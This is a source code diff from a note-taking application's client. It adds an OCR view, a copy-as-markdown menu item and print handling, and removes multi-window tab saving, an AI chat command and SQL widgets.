@@ -150,6 +148,19 @@ export default class RootCommandExecutor extends Component {
         }
     }
 
+    async showNoteOCRTextCommand() {
+        const notePath = appContext.tabManager.getActiveContextNotePath();
+
+        if (notePath) {
+            await appContext.tabManager.openTabWithNoteWithHoisting(notePath, {
+                activate: true,
+                viewScope: {
+                    viewMode: "ocr"
+                }
+            });
+        }
+    }
+
     async showAttachmentsCommand() {
         const notePath = appContext.tabManager.getActiveContextNotePath();
 
@@ -248,34 +259,4 @@ export default class RootCommandExecutor extends Component {
         }
     }
 
-    async createAiChatCommand() {
-        try {
-            // Create a new AI Chat note at the root level
-            const rootNoteId = "root";
-
-            const result = await noteCreateService.createNote(rootNoteId, {
-                title: "New AI Chat",
-                type: "aiChat",
-                content: JSON.stringify({
-                    messages: [],
-                    title: "New AI Chat"
-                })
-            });
-
-            if (!result.note) {
-                toastService.showError("Failed to create AI Chat note");
-                return;
-            }
-
-            await appContext.tabManager.openTabWithNoteWithHoisting(result.note.noteId, {
-                activate: true
-            });
-
-            toastService.showMessage("Created new AI Chat note");
-        }
-        catch (e) {
-            console.error("Error creating AI Chat note:", e);
-            toastService.showError(`Failed to create AI Chat note: ${(e as Error).message}`);
-        }
-    }
 }

apps/client/src/components/tab_manager.ts

@@ -11,8 +11,6 @@ import linkService from "../services/link.js";
 import type { EventData } from "./app_context.js";
 import type FNote from "../entities/fnote.js";
 
-const MAX_SAVED_WINDOWS = 10;
-
 interface TabState {
     contexts: NoteContext[];
     position: number;
@@ -27,13 +25,6 @@ interface NoteContextState {
     viewScope: Record<string, any>;
 }
 
-interface WindowState {
-    windowId: string;
-    createdAt: number;
-    closedAt: number;
-    contexts: NoteContextState[];
-}
-
 export default class TabManager extends Component {
     public children: NoteContext[];
     public mutex: Mutex;
@@ -50,6 +41,9 @@ export default class TabManager extends Component {
         this.recentlyClosedTabs = [];
 
         this.tabsUpdate = new SpacedUpdate(async () => {
+            if (!appContext.isMainWindow) {
+                return;
+            }
             if (options.is("databaseReadonly")) {
                 return;
             }
@@ -58,21 +52,9 @@ export default class TabManager extends Component {
                 .map((nc) => nc.getPojoState())
                 .filter((t) => !!t);
 
-            // Update the current window’s openNoteContexts in options    
-            const savedWindows = options.getJson("openNoteContexts") || [];
-            const win = savedWindows.find((w: WindowState) => w.windowId === appContext.windowId);
-            if (win) {
-                win.contexts = openNoteContexts;
-            } else {
-                savedWindows.push({
-                    windowId: appContext.windowId,
-                    createdAt: Date.now(),
-                    closedAt: 0,
-                    contexts: openNoteContexts
-                } as WindowState);
-            }
-
-            await options.save("openNoteContexts", JSON.stringify(savedWindows));
+            await server.put("options", {
+                openNoteContexts: JSON.stringify(openNoteContexts)
+            });
         });
 
         appContext.addBeforeUnloadListener(this);
@@ -87,13 +69,8 @@ export default class TabManager extends Component {
     }
 
     async loadTabs() {
-        // Get the current window’s openNoteContexts
-        const savedWindows = options.getJson("openNoteContexts") || [];
-        const currentWin = savedWindows.find(w => w.windowId === appContext.windowId);
-        const openNoteContexts = currentWin ? currentWin.contexts : undefined;
-
         try {
-            const noteContextsToOpen = openNoteContexts || [];
+            const noteContextsToOpen = (appContext.isMainWindow && options.getJson("openNoteContexts")) || [];
 
             // preload all notes at once
             await froca.getNotes([...noteContextsToOpen.flatMap((tab: NoteContextState) =>
@@ -142,51 +119,6 @@ export default class TabManager extends Component {
                 }
             });
 
-            // Save window contents
-            if (currentWin as WindowState) {
-                currentWin.createdAt = Date.now();
-                currentWin.closedAt = 0;
-                currentWin.contexts = filteredNoteContexts;
-            } else {
-                if (savedWindows?.length >= MAX_SAVED_WINDOWS) {
-                    // Filter out the oldest entry
-                    // 1) Never remove the "main" window
-                    // 2) Prefer removing the oldest closed window (closedAt !== 0)
-                    // 3) If no closed window exists, remove the window with the oldest created window
-                    let oldestClosedIndex = -1;
-                    let oldestClosedTime = Infinity;
-                    let oldestCreatedIndex = -1;
-                    let oldestCreatedTime = Infinity;
-                    savedWindows.forEach((w: WindowState, i: number) => {
-                        if (w.windowId === "main") return;
-                        if (w.closedAt !== 0) {
-                            if (w.closedAt < oldestClosedTime) {
-                                oldestClosedTime = w.closedAt;
-                                oldestClosedIndex = i;
-                            }
-                        } else {
-                            if (w.createdAt < oldestCreatedTime) {
-                                oldestCreatedTime = w.createdAt;
-                                oldestCreatedIndex = i;
-                            }
-                        }
-                    });
-                    const indexToRemove = oldestClosedIndex !== -1 ? oldestClosedIndex : oldestCreatedIndex;
-                    if (indexToRemove !== -1) {
-                        savedWindows.splice(indexToRemove, 1);
-                    }
-                }
-
-                savedWindows.push({
-                    windowId: appContext.windowId,
-                    createdAt: Date.now(),
-                    closedAt: 0,
-                    contexts: filteredNoteContexts
-                } as WindowState);
-            }
-
-            await options.save("openNoteContexts", JSON.stringify(savedWindows));
-
             // if there's a notePath in the URL, make sure it's open and active
             // (useful, for e.g., opening clipped notes from clipper or opening link in an extra window)
             if (parsedFromUrl.notePath) {

apps/client/src/desktop.ts

@@ -46,10 +46,6 @@ if (utils.isElectron()) {
     electronContextMenu.setupContextMenu();
 }
 
-if (utils.isPWA()) {
-    initPWATopbarColor();
-}
-
 function initOnElectron() {
     const electron: typeof Electron = utils.dynamicRequire("electron");
     electron.ipcRenderer.on("globalShortcut", async (event, actionName) => appContext.triggerCommand(actionName));
@@ -99,15 +95,22 @@ function initFullScreenDetection(currentWindow: Electron.BrowserWindow) {
 }
 
 function initTransparencyEffects(style: CSSStyleDeclaration, currentWindow: Electron.BrowserWindow) {
+    const material = style.getPropertyValue("--background-material").trim();
     if (window.glob.platform === "win32") {
-        const material = style.getPropertyValue("--background-material");
-        // TriliumNextTODO: find a nicer way to make TypeScript happy – unfortunately TS did not like Array.includes here
         const bgMaterialOptions = ["auto", "none", "mica", "acrylic", "tabbed"] as const;
         const foundBgMaterialOption = bgMaterialOptions.find((bgMaterialOption) => material === bgMaterialOption);
         if (foundBgMaterialOption) {
             currentWindow.setBackgroundMaterial(foundBgMaterialOption);
         }
     }
+
+    if (window.glob.platform === "darwin") {
+        const bgMaterialOptions = [ "popover", "tooltip", "titlebar", "selection", "menu", "sidebar", "header", "sheet", "window", "hud", "fullscreen-ui", "content", "under-window", "under-page" ] as const;
+        const foundBgMaterialOption = bgMaterialOptions.find((bgMaterialOption) => material === bgMaterialOption);
+        if (foundBgMaterialOption) {
+            currentWindow.setVibrancy(foundBgMaterialOption);
+        }
+    }
 }
 
 /**
@@ -127,20 +130,3 @@ function initDarkOrLightMode(style: CSSStyleDeclaration) {
     const { nativeTheme } = utils.dynamicRequire("@electron/remote") as typeof ElectronRemote;
     nativeTheme.themeSource = themeSource;
 }
-
-function initPWATopbarColor() {
-    const tracker = $("#background-color-tracker");
-
-    if (tracker.length) {
-        const applyThemeColor = () => {
-            let meta = $("meta[name='theme-color']");
-            if (!meta.length) {
-                meta = $(`<meta name="theme-color">`).appendTo($("head"));
-            }
-            meta.attr("content", tracker.css("color"));
-        };
-
-        tracker.on("transitionend", applyThemeColor);
-        applyThemeColor();
-    }
-}

apps/client/src/entities/fnote.ts

@@ -1,4 +1,4 @@
-import { MIME_TYPES_DICT } from "@triliumnext/commons";
+import { getNoteIcon } from "@triliumnext/commons";
 
 import cssClassManager from "../services/css_class_manager.js";
 import type { Froca } from "../services/froca-interface.js";
@@ -13,31 +13,12 @@ import type { AttributeType, default as FAttribute } from "./fattribute.js";
 const LABEL = "label";
 const RELATION = "relation";
 
-export const NOTE_TYPE_ICONS = {
-    file: "bx bx-file",
-    image: "bx bx-image",
-    code: "bx bx-code",
-    render: "bx bx-extension",
-    search: "bx bx-file-find",
-    relationMap: "bx bxs-network-chart",
-    book: "bx bx-book",
-    noteMap: "bx bxs-network-chart",
-    mermaid: "bx bx-selection",
-    canvas: "bx bx-pen",
-    webView: "bx bx-globe-alt",
-    launcher: "bx bx-link",
-    doc: "bx bxs-file-doc",
-    contentWidget: "bx bxs-widget",
-    mindMap: "bx bx-sitemap",
-    aiChat: "bx bx-bot"
-};
-
 /**
  * There are many different Note types, some of which are entirely opaque to the
  * end user. Those types should be used only for checking against, they are
  * not for direct use.
  */
-export type NoteType = "file" | "image" | "search" | "noteMap" | "launcher" | "doc" | "contentWidget" | "text" | "relationMap" | "render" | "canvas" | "mermaid" | "book" | "webView" | "code" | "mindMap" | "aiChat";
+export type NoteType = "file" | "image" | "search" | "noteMap" | "launcher" | "doc" | "contentWidget" | "text" | "relationMap" | "render" | "canvas" | "mermaid" | "book" | "webView" | "code" | "mindMap" | "spreadsheet" | "llmChat";
 
 export interface NotePathRecord {
     isArchived: boolean;
@@ -582,32 +563,18 @@ export default class FNote {
     }
 
     getIcon() {
-        return `tn-icon ${this.#getIconInternal()}`;
-    }
-
-    #getIconInternal() {
         const iconClassLabels = this.getLabels("iconClass");
         const workspaceIconClass = this.getWorkspaceIconClass();
 
-        if (iconClassLabels && iconClassLabels.length > 0) {
-            return iconClassLabels[0].value;
-        } else if (workspaceIconClass) {
-            return workspaceIconClass;
-        } else if (this.noteId === "root") {
-            return "bx bx-home-alt-2";
-        }
-        if (this.noteId === "_share") {
-            return "bx bx-share-alt";
-        } else if (this.type === "text") {
-            if (this.isFolder()) {
-                return "bx bx-folder";
-            }
-            return "bx bx-note";
-        } else if (this.type === "code") {
-            const correspondingMimeType = MIME_TYPES_DICT.find(m => m.mime === this.mime);
-            return correspondingMimeType?.icon ?? NOTE_TYPE_ICONS.code;
-        }
-        return NOTE_TYPE_ICONS[this.type];
+        const icon = getNoteIcon({
+            noteId: this.noteId,
+            type: this.type,
+            mime: this.mime,
+            iconClass: iconClassLabels.length > 0 ? iconClassLabels[0].value : undefined,
+            workspaceIconClass,
+            isFolder: this.isFolder.bind(this)
+        });
+        return `tn-icon ${icon}`;
     }
 
     getColorClass() {
@@ -733,6 +700,15 @@ export default class FNote {
         return this.hasAttribute(LABEL, name);
     }
 
+    /**
+     * Returns `true` if the note has a label with the given name (same as {@link hasOwnedLabel}), or it has a label with the `disabled:` prefix (for example due to a safe import).
+     * @param name the name of the label to look for.
+     * @returns `true` if the label exists, or its version with the `disabled:` prefix.
+     */
+    hasLabelOrDisabled(name: string) {
+        return this.hasLabel(name) || this.hasLabel(`disabled:${name}`);
+    }
+
     /**
      * @param name - label name
      * @returns true if label exists (including inherited) and does not have "false" value.

apps/client/src/index.ts

@@ -16,10 +16,21 @@ async function initJQuery() {
     const $ = (await import("jquery")).default;
     window.$ = $;
     window.jQuery = $;
+
+    // Polyfill removed jQuery methods for autocomplete.js compatibility
+    ($ as any).isArray = Array.isArray;
+    ($ as any).isFunction = function(obj: any) { return typeof obj === 'function'; };
+    ($ as any).isPlainObject = function(obj: any) {
+        if (obj == null || typeof obj !== 'object') { return false; }
+        const proto = Object.getPrototypeOf(obj);
+        if (proto === null) { return true; }
+        const Ctor = Object.prototype.hasOwnProperty.call(proto, 'constructor') && proto.constructor;
+        return typeof Ctor === 'function' && Ctor === Object;
+    };
 }
 
 async function setupGlob() {
-    const response = await fetch(`/bootstrap${window.location.search}`);
+    const response = await fetch(`./bootstrap${window.location.search}`);
     const json = await response.json();
 
     window.global = globalThis; /* fixes https://github.com/webpack/webpack/issues/10035 */
@@ -39,22 +50,25 @@ async function loadBootstrapCss() {
 }
 
 function loadStylesheets() {
-    const { assetPath, themeCssUrl, themeUseNextAsBase } = window.glob;
+    const { device, assetPath, themeCssUrl, themeUseNextAsBase } = window.glob;
+
     const cssToLoad: string[] = [];
-    cssToLoad.push(`${assetPath}/stylesheets/ckeditor-theme.css`);
-    cssToLoad.push(`api/fonts`);
-    cssToLoad.push(`${assetPath}/stylesheets/theme-light.css`);
-    if (themeCssUrl) {
-        cssToLoad.push(themeCssUrl);
+    if (device !== "print") {
+        cssToLoad.push(`${assetPath}/stylesheets/ckeditor-theme.css`);
+        cssToLoad.push(`api/fonts`);
+        cssToLoad.push(`${assetPath}/stylesheets/theme-light.css`);
+        if (themeCssUrl) {
+            cssToLoad.push(themeCssUrl);
+        }
+        if (themeUseNextAsBase === "next") {
+            cssToLoad.push(`${assetPath}/stylesheets/theme-next.css`);
+        } else if (themeUseNextAsBase === "next-dark") {
+            cssToLoad.push(`${assetPath}/stylesheets/theme-next-dark.css`);
+        } else if (themeUseNextAsBase === "next-light") {
+            cssToLoad.push(`${assetPath}/stylesheets/theme-next-light.css`);
+        }
+        cssToLoad.push(`${assetPath}/stylesheets/style.css`);
     }
-    if (themeUseNextAsBase === "next") {
-        cssToLoad.push(`${assetPath}/stylesheets/theme-next.css`);
-    } else if (themeUseNextAsBase === "next-dark") {
-        cssToLoad.push(`${assetPath}/stylesheets/theme-next-dark.css`);
-    } else if (themeUseNextAsBase === "next-light") {
-        cssToLoad.push(`${assetPath}/stylesheets/theme-next-light.css`);
-    }
-    cssToLoad.push(`${assetPath}/stylesheets/style.css`);
 
     for (const href of cssToLoad) {
         const linkEl = document.createElement("link");
@@ -71,7 +85,7 @@ function loadIcons() {
 }
 
 function setBodyAttributes() {
-    const { device, headingStyle, layoutOrientation, platform, isElectron, hasNativeTitleBar, hasBackgroundEffects, currentLocale, isMainWindow } = window.glob;
+    const { device, headingStyle, layoutOrientation, platform, isElectron, hasNativeTitleBar, hasBackgroundEffects, currentLocale } = window.glob;
     const classesToSet = [
         device,
         `heading-style-${headingStyle}`,
@@ -79,8 +93,7 @@ function setBodyAttributes() {
         `platform-${platform}`,
         isElectron && "electron",
         hasNativeTitleBar && "native-titlebar",
-        hasBackgroundEffects && "background-effects",
-        !isMainWindow && 'extra-window'
+        hasBackgroundEffects && "background-effects"
     ].filter(Boolean) as string[];
 
     for (const classToSet of classesToSet) {
@@ -92,10 +105,17 @@ function setBodyAttributes() {
 }
 
 async function loadScripts() {
-    if (glob.device === "mobile") {
-        await import("./mobile.js");
-    } else {
-        await import("./desktop.js");
+    switch (glob.device) {
+        case "mobile":
+            await import("./mobile.js");
+            break;
+        case "print":
+            await import("./print.js");
+            break;
+        case "desktop":
+        default:
+            await import("./desktop.js");
+            break;
     }
 }
 

apps/client/src/layouts/desktop_layout.tsx

@@ -46,8 +46,6 @@ import ScrollPadding from "../widgets/scroll_padding.js";
 import SearchResult from "../widgets/search_result.jsx";
 import SharedInfo from "../widgets/shared_info.jsx";
 import RightPanelContainer from "../widgets/sidebar/RightPanelContainer.jsx";
-import SqlResults from "../widgets/sql_result.js";
-import SqlTableSchemas from "../widgets/sql_table_schemas.js";
 import TabRowWidget from "../widgets/tab_row.js";
 import TabHistoryNavigationButtons from "../widgets/TabHistoryNavigationButtons.jsx";
 import TitleBarButtons from "../widgets/title_bar_buttons.jsx";
@@ -163,11 +161,9 @@ export default class DesktopLayout {
                                                                     .child(<SharedInfo />)
                                                                 )
                                                                 .optChild(!isNewLayout, <PromotedAttributes />)
-                                                                .child(<SqlTableSchemas />)
                                                                 .child(<NoteDetail />)
                                                                 .child(<NoteList media="screen" />)
                                                                 .child(<SearchResult />)
-                                                                .child(<SqlResults />)
                                                                 .child(<ScrollPadding />)
                                                         )
                                                         .child(<ApiLog />)

apps/client/src/layouts/mobile_layout.css

@@ -0,0 +1,76 @@
+#background-color-tracker {
+    color: var(--main-background-color) !important;
+}
+
+span.keyboard-shortcut,
+kbd {
+    display: none;
+}
+
+.dropdown-menu {
+    font-size: larger;
+}
+
+.action-button {
+    background: none;
+    border: none;
+    cursor: pointer;
+    font-size: 1.25em;
+    padding-inline-start: 0.5em;
+    padding-inline-end: 0.5em;
+    color: var(--main-text-color);
+}
+.quick-search {
+    margin: 0;
+}
+.quick-search .dropdown-menu {
+    max-width: 350px;
+}
+
+/* #region Tree */
+.tree-wrapper {
+    max-height: 100%;
+    margin-top: 0px;
+    overflow-y: auto;
+    contain: content;
+    padding-inline-start: 10px;
+}
+
+.fancytree-title {
+    margin-inline-start: 0.6em !important;
+}
+
+.fancytree-node {
+    padding: 5px;
+}
+
+span.fancytree-expander {
+    width: 24px !important;
+    margin-inline-end: 5px;
+}
+
+.fancytree-loading span.fancytree-expander {
+    width: 24px;
+    height: 32px;
+}
+
+.fancytree-loading  span.fancytree-expander:after {
+    width: 20px;
+    height: 20px;
+    margin-top: 4px;
+    border-width: 2px;
+    border-style: solid;
+}
+
+.tree-wrapper .collapse-tree-button,
+.tree-wrapper .scroll-to-active-note-button,
+.tree-wrapper .tree-settings-button {
+    position: fixed;
+    margin-inline-end: 16px;
+    display: none;
+}
+
+.tree-wrapper .unhoist-button {
+    font-size: 200%;
+}
+/* #endregion */

apps/client/src/layouts/mobile_layout.tsx

@@ -1,128 +1,38 @@
+import "./mobile_layout.css";
+
 import type AppContext from "../components/app_context.js";
 import GlobalMenuWidget from "../widgets/buttons/global_menu.js";
 import CloseZenModeButton from "../widgets/close_zen_button.js";
 import NoteList from "../widgets/collections/NoteList.jsx";
-import ContentHeader from "../widgets/containers/content_header.js";
 import FlexContainer from "../widgets/containers/flex_container.js";
 import RootContainer from "../widgets/containers/root_container.js";
 import ScrollingContainer from "../widgets/containers/scrolling_container.js";
 import SplitNoteContainer from "../widgets/containers/split_note_container.js";
-import FloatingButtons from "../widgets/FloatingButtons.jsx";
-import { MOBILE_FLOATING_BUTTONS } from "../widgets/FloatingButtonsDefinitions.jsx";
+import FindWidget from "../widgets/find.js";
 import LauncherContainer from "../widgets/launch_bar/LauncherContainer.jsx";
+import InlineTitle from "../widgets/layout/InlineTitle.jsx";
+import NoteBadges from "../widgets/layout/NoteBadges.jsx";
+import NoteTitleActions from "../widgets/layout/NoteTitleActions.jsx";
 import MobileDetailMenu from "../widgets/mobile_widgets/mobile_detail_menu.js";
 import ScreenContainer from "../widgets/mobile_widgets/screen_container.js";
 import SidebarContainer from "../widgets/mobile_widgets/sidebar_container.js";
 import ToggleSidebarButton from "../widgets/mobile_widgets/toggle_sidebar_button.jsx";
+import NoteIconWidget from "../widgets/note_icon.jsx";
 import NoteTitleWidget from "../widgets/note_title.js";
 import NoteTreeWidget from "../widgets/note_tree.js";
 import NoteWrapperWidget from "../widgets/note_wrapper.js";
 import NoteDetail from "../widgets/NoteDetail.jsx";
-import PromotedAttributes from "../widgets/PromotedAttributes.jsx";
 import QuickSearchWidget from "../widgets/quick_search.js";
-import { useNoteContext } from "../widgets/react/hooks.jsx";
-import ReadOnlyNoteInfoBar from "../widgets/ReadOnlyNoteInfoBar.jsx";
-import StandaloneRibbonAdapter from "../widgets/ribbon/components/StandaloneRibbonAdapter.jsx";
-import FilePropertiesTab from "../widgets/ribbon/FilePropertiesTab.jsx";
-import SearchDefinitionTab from "../widgets/ribbon/SearchDefinitionTab.jsx";
+import ScrollPadding from "../widgets/scroll_padding";
 import SearchResult from "../widgets/search_result.jsx";
-import SharedInfoWidget from "../widgets/shared_info.js";
-import TabRowWidget from "../widgets/tab_row.js";
 import MobileEditorToolbar from "../widgets/type_widgets/text/mobile_editor_toolbar.jsx";
 import { applyModals } from "./layout_commons.js";
 
-const MOBILE_CSS = `
-<style>
-span.keyboard-shortcut,
-kbd {
-    display: none;
-}
-
-.dropdown-menu {
-    font-size: larger;
-}
-
-.action-button {
-    background: none;
-    border: none;
-    cursor: pointer;
-    font-size: 1.25em;
-    padding-inline-start: 0.5em;
-    padding-inline-end: 0.5em;
-    color: var(--main-text-color);
-}
-.quick-search {
-    margin: 0;
-}
-.quick-search .dropdown-menu {
-    max-width: 350px;
-}
-</style>`;
-
-const FANCYTREE_CSS = `
-<style>
-.tree-wrapper {
-    max-height: 100%;
-    margin-top: 0px;
-    overflow-y: auto;
-    contain: content;
-    padding-inline-start: 10px;
-}
-
-.fancytree-custom-icon {
-    font-size: 2em;
-}
-
-.fancytree-title {
-    font-size: 1.5em;
-    margin-inline-start: 0.6em !important;
-}
-
-.fancytree-node {
-    padding: 5px;
-}
-
-.fancytree-node .fancytree-expander:before {
-    font-size: 2em !important;
-}
-
-span.fancytree-expander {
-    width: 24px !important;
-    margin-inline-end: 5px;
-}
-
-.fancytree-loading span.fancytree-expander {
-    width: 24px;
-    height: 32px;
-}
-
-.fancytree-loading  span.fancytree-expander:after {
-    width: 20px;
-    height: 20px;
-    margin-top: 4px;
-    border-width: 2px;
-    border-style: solid;
-}
-
-.tree-wrapper .collapse-tree-button,
-.tree-wrapper .scroll-to-active-note-button,
-.tree-wrapper .tree-settings-button {
-    position: fixed;
-    margin-inline-end: 16px;
-    display: none;
-}
-
-.tree-wrapper .unhoist-button {
-    font-size: 200%;
-}
-</style>`;
-
 export default class MobileLayout {
     getRootWidget(appContext: typeof AppContext) {
         const rootContainer = new RootContainer(true)
             .setParent(appContext)
             .class("horizontal-layout")
-            .cssBlock(MOBILE_CSS)
             .child(new FlexContainer("column").id("mobile-sidebar-container"))
             .child(
                 new FlexContainer("row")
@@ -136,7 +46,7 @@ export default class MobileLayout {
                             .css("padding-inline-start", "0")
                             .css("padding-inline-end", "0")
                             .css("contain", "content")
-                            .child(new FlexContainer("column").filling().id("mobile-sidebar-wrapper").child(new QuickSearchWidget()).child(new NoteTreeWidget().cssBlock(FANCYTREE_CSS)))
+                            .child(new FlexContainer("column").filling().id("mobile-sidebar-wrapper").child(new QuickSearchWidget()).child(new NoteTreeWidget()))
                     )
                     .child(
                         new ScreenContainer("detail", "row")
@@ -147,30 +57,28 @@ export default class MobileLayout {
                                     new NoteWrapperWidget()
                                         .child(
                                             new FlexContainer("row")
+                                                .class("title-row note-split-title")
                                                 .contentSized()
-                                                .css("font-size", "larger")
                                                 .css("align-items", "center")
                                                 .child(<ToggleSidebarButton />)
+                                                .child(<NoteIconWidget />)
                                                 .child(<NoteTitleWidget />)
+                                                .child(<NoteBadges />)
                                                 .child(<MobileDetailMenu />)
                                         )
-                                        .child(<FloatingButtons items={MOBILE_FLOATING_BUTTONS} />)
-                                        .child(<PromotedAttributes />)
                                         .child(
                                             new ScrollingContainer()
                                                 .filling()
                                                 .contentSized()
-                                                .child(new ContentHeader()
-                                                    .child(<ReadOnlyNoteInfoBar />)
-                                                    .child(<SharedInfoWidget />)
-                                                )
+                                                .child(<InlineTitle />)
+                                                .child(<NoteTitleActions />)
                                                 .child(<NoteDetail />)
                                                 .child(<NoteList media="screen" />)
-                                                .child(<StandaloneRibbonAdapter component={SearchDefinitionTab} />)
                                                 .child(<SearchResult />)
-                                                .child(<FilePropertiesWrapper />)
+                                                .child(<ScrollPadding />)
                                         )
                                         .child(<MobileEditorToolbar />)
+                                        .child(new FindWidget())
                                 )
                             )
                     )
@@ -179,7 +87,6 @@ export default class MobileLayout {
                 new FlexContainer("column")
                     .contentSized()
                     .id("mobile-bottom-bar")
-                    .child(new TabRowWidget().css("height", "40px"))
                     .child(new FlexContainer("row")
                         .class("horizontal")
                         .css("height", "53px")
@@ -192,13 +99,3 @@ export default class MobileLayout {
         return rootContainer;
     }
 }
-
-function FilePropertiesWrapper() {
-    const { note, ntxId } = useNoteContext();
-
-    return (
-        <div>
-            {note?.type === "file" && <FilePropertiesTab note={note} ntxId={ntxId} />}
-        </div>
-    );
-}

apps/client/src/menus/context_menu.ts

@@ -1,8 +1,9 @@
 import { KeyboardActionNames } from "@triliumnext/commons";
+import { h, JSX, render } from "preact";
+
 import keyboardActionService, { getActionSync } from "../services/keyboard_actions.js";
 import note_tooltip from "../services/note_tooltip.js";
 import utils from "../services/utils.js";
-import { h, JSX, render } from "preact";
 
 export interface ContextMenuOptions<T> {
     x: number;
@@ -62,17 +63,17 @@ export type ContextMenuEvent = PointerEvent | MouseEvent | JQuery.ContextMenuEve
 
 class ContextMenu {
     private $widget: JQuery<HTMLElement>;
-    private $cover: JQuery<HTMLElement>;
+    private $cover?: JQuery<HTMLElement>;
     private options?: ContextMenuOptions<any>;
     private isMobile: boolean;
 
     constructor() {
         this.$widget = $("#context-menu-container");
-        this.$cover = $("#context-menu-cover");
         this.$widget.addClass("dropend");
         this.isMobile = utils.isMobile();
 
         if (this.isMobile) {
+            this.$cover = $("#context-menu-cover");
             this.$cover.on("click", () => this.hide());
         } else {
             $(document).on("click", (e) => this.hide());
@@ -91,7 +92,7 @@ class ContextMenu {
         }
 
         this.$widget.toggleClass("mobile-bottom-menu", !this.options.forcePositionOnMobile);
-        this.$cover.addClass("show");
+        this.$cover?.addClass("show");
         $("body").addClass("context-menu-shown");
 
         this.$widget.empty();
@@ -140,16 +141,14 @@ class ContextMenu {
             } else {
                 left = this.options.x - contextMenuWidth + CONTEXT_MENU_OFFSET;
             }
+        } else if (contextMenuWidth && this.options.x + contextMenuWidth - CONTEXT_MENU_OFFSET > clientWidth - CONTEXT_MENU_PADDING) {
+            // Overflow: right
+            left = clientWidth - contextMenuWidth - CONTEXT_MENU_PADDING;
+        } else if (this.options.x - CONTEXT_MENU_OFFSET < CONTEXT_MENU_PADDING) {
+            // Overflow: left
+            left = CONTEXT_MENU_PADDING;
         } else {
-            if (contextMenuWidth && this.options.x + contextMenuWidth - CONTEXT_MENU_OFFSET > clientWidth - CONTEXT_MENU_PADDING) {
-                // Overflow: right
-                left = clientWidth - contextMenuWidth - CONTEXT_MENU_PADDING;
-            } else if (this.options.x - CONTEXT_MENU_OFFSET < CONTEXT_MENU_PADDING) {
-                // Overflow: left
-                left = CONTEXT_MENU_PADDING;
-            } else {
-                left = this.options.x - CONTEXT_MENU_OFFSET;
-            }
+            left = this.options.x - CONTEXT_MENU_OFFSET;
         }
 
         this.$widget
@@ -249,7 +248,7 @@ class ContextMenu {
         if ("uiIcon" in item || "checked" in item) {
             const icon = (item.checked ? "bx bx-check" : item.uiIcon);
             if (icon) {
-                $icon.addClass(icon);
+                $icon.addClass([icon, "tn-icon"]);
             } else {
                 $icon.append("&nbsp;");
             }
@@ -261,7 +260,7 @@ class ContextMenu {
             .append(item.title);
 
         if ("badges" in item && item.badges) {
-            for (let badge of item.badges) {
+            for (const badge of item.badges) {
                 const badgeElement = $(`<span class="badge">`).text(badge.title);
 
                 if (badge.className) {
@@ -352,7 +351,7 @@ class ContextMenu {
     async hide() {
         this.options?.onHide?.();
         this.$widget.removeClass("show");
-        this.$cover.removeClass("show");
+        this.$cover?.removeClass("show");
         $("body").removeClass("context-menu-shown");
         this.$widget.hide();
     }

apps/client/src/menus/electron_context_menu.ts

@@ -3,6 +3,8 @@ import options from "../services/options.js";
 import zoomService from "../components/zoom.js";
 import contextMenu, { type MenuItem } from "./context_menu.js";
 import { t } from "../services/i18n.js";
+import server from "../services/server.js";
+import * as clipboardExt from "../services/clipboard_ext.js";
 import type { BrowserWindow } from "electron";
 import type { CommandNames, AppContext } from "../components/app_context.js";
 
@@ -60,6 +62,33 @@ function setupContextMenu() {
                 uiIcon: "bx bx-copy",
                 handler: () => webContents.copy()
             });
+
+            items.push({
+                enabled: hasText,
+                title: t("electron_context_menu.copy-as-markdown"),
+                uiIcon: "bx bx-copy-alt",
+                handler: async () => {
+                    const selection = window.getSelection();
+                    if (!selection || !selection.rangeCount) return '';
+
+                    const range = selection.getRangeAt(0);
+                    const div = document.createElement('div');
+                    div.appendChild(range.cloneContents());
+
+                    const htmlContent = div.innerHTML;
+                    if (htmlContent) {
+                        try {
+                            const { markdownContent } = await server.post<{ markdownContent: string }>(
+                                "other/to-markdown",
+                                { htmlContent }
+                            );
+                            await clipboardExt.copyTextWithToast(markdownContent);
+                        } catch (error) {
+                            console.error("Failed to copy as markdown:", error);
+                        }
+                    }
+                }
+            });
         }
 
         if (!["", "javascript:", "about:blank#blocked"].includes(params.linkURL) && params.mediaType === "none") {

apps/client/src/menus/launcher_context_menu.ts

@@ -1,12 +1,12 @@
-import treeService from "../services/tree.js";
-import froca from "../services/froca.js";
-import contextMenu, { type MenuCommandItem, type MenuItem } from "./context_menu.js";
-import dialogService from "../services/dialog.js";
-import server from "../services/server.js";
-import { t } from "../services/i18n.js";
+import type { ContextMenuCommandData,FilteredCommandNames } from "../components/app_context.js";
 import type { SelectMenuItemEventListener } from "../components/events.js";
+import dialogService from "../services/dialog.js";
+import froca from "../services/froca.js";
+import { t } from "../services/i18n.js";
+import server from "../services/server.js";
+import treeService from "../services/tree.js";
 import type NoteTreeWidget from "../widgets/note_tree.js";
-import type { FilteredCommandNames, ContextMenuCommandData } from "../components/app_context.js";
+import contextMenu, { type MenuCommandItem, type MenuItem } from "./context_menu.js";
 
 type LauncherCommandNames = FilteredCommandNames<ContextMenuCommandData>;
 
@@ -32,8 +32,8 @@ export default class LauncherContextMenu implements SelectMenuItemEventListener<
         const note = this.node.data.noteId ? await froca.getNote(this.node.data.noteId) : null;
         const parentNoteId = this.node.getParent().data.noteId;
 
-        const isVisibleRoot = note?.noteId === "_lbVisibleLaunchers";
-        const isAvailableRoot = note?.noteId === "_lbAvailableLaunchers";
+        const isVisibleRoot = note?.noteId === "_lbVisibleLaunchers" || note?.noteId === "_lbMobileVisibleLaunchers";
+        const isAvailableRoot = note?.noteId === "_lbAvailableLaunchers" || note?.noteId === "_lbMobileAvailableLaunchers";
         const isVisibleItem = parentNoteId === "_lbVisibleLaunchers" || parentNoteId === "_lbMobileVisibleLaunchers";
         const isAvailableItem = parentNoteId === "_lbAvailableLaunchers" || parentNoteId === "_lbMobileAvailableLaunchers";
         const isItem = isVisibleItem || isAvailableItem;

apps/client/src/print.tsx

@@ -18,6 +18,10 @@ export type PrintReport = {
 } | {
     type: "collection";
     ignoredNoteIds: string[];
+} | {
+    type: "error";
+    message: string;
+    stack?: string;
 };
 
 async function main() {
@@ -29,7 +33,9 @@ async function main() {
     const froca = (await import("./services/froca")).default;
     const note = await froca.getNote(noteId);
 
-    render(<App note={note} noteId={noteId} />, document.body);
+    const bodyWrapper = document.createElement("div");
+    render(<App note={note} noteId={noteId} />, bodyWrapper);
+    document.body.appendChild(bodyWrapper);
 }
 
 function App({ note, noteId }: { note: FNote | null | undefined, noteId: string }) {

apps/client/src/runtime.ts

